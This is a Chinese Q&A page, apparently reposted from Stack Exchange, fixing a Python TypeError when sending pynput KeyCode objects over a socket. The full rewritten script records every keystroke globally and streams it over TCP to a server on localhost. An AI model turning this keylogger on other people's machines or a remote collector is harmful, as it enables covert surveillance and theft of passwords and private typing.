Python套接字发送KeyCode对象报错:TypeError: a bytes-like object is required, not 'KeyCode'
解决Socket发送键盘按键时的TypeError问题
你遇到的这个错误很典型——socket.send()方法只接受**字节类型(bytes)**的数据,但你直接传入了pynput返回的Key或KeyCode对象,这就导致了类型不匹配的报错。下面我会一步步告诉你怎么修复,同时优化你的代码逻辑。
错误原因
当你按下键盘时,pynput的Listener返回的key参数是一个Key(比如Key.space)或KeyCode(比如普通字母键)对象,而不是字符串或字节。socket.send()只认识bytes类型,直接传对象肯定会报错。
修复步骤
1. 将按键对象转换为字节数据
首先要把key对象转成字符串,再编码成utf-8格式的字节。比如把client.send(key)改成:
client.send(str(key).encode('utf-8'))
2. 优化Socket连接逻辑(重要!)
你的原代码每次按键都会新建一个Socket连接,这非常低效,还会导致大量无效的连接资源占用。正确的做法是提前建立一次长连接,在整个监听过程中复用这个连接。
修改后的完整代码
import socket from pynput.keyboard import Key, Listener import logging # 提前建立Socket长连接 client = socket.socket() host = "localhost" port = 9000 try: client.connect((host, port)) print("Bağlantı yapıldı") except ConnectionRefusedError: print("Sunucuya bağlanılamadı! Lütfen sunucunun çalıştığından emin olun.") exit() def on_press(key): try: # 将按键对象转为可读字符串,可根据需求自定义特殊按键的显示 if key == Key.space: key_content = " " elif key == Key.enter: key_content = "\n" elif key == Key.backspace: key_content = "[BACKSPACE]" elif key == Key.tab: key_content = "\t" else: # 普通字母/数字键会被转成类似"'a'"的格式,这里可以去掉引号让内容更干净 key_content = str(key).strip("'") # 编码为字节后发送 client.send(key_content.encode('utf-8')) # 接收服务器返回的消息(如果不需要可以注释掉) response = client.recv(1024) print(f"Sunucudan gelen mesaj: {response.decode('utf-8')}") except Exception as e: print(f"İşlem sırasında hata: {e}") # 出现错误时关闭连接并停止监听 client.close() listener.stop() with Listener(on_press=on_press) as listener: listener.join() # 监听结束后关闭连接 client.close()
额外说明
- 我增加了特殊按键的处理逻辑,比如把
Key.space转为空格符,Key.backspace转为[BACKSPACE],这样发送的内容更易读,你可以根据自己的需求调整这些映射。 - 增加了异常捕获,处理连接中断、发送失败等情况,避免程序崩溃。
- 去掉了原代码中重复的文件写入注释和日志记录(如果需要可以加回来)。
内容的提问来源于stack exchange,提问作者Metin
相关产品推荐
相关产品推荐

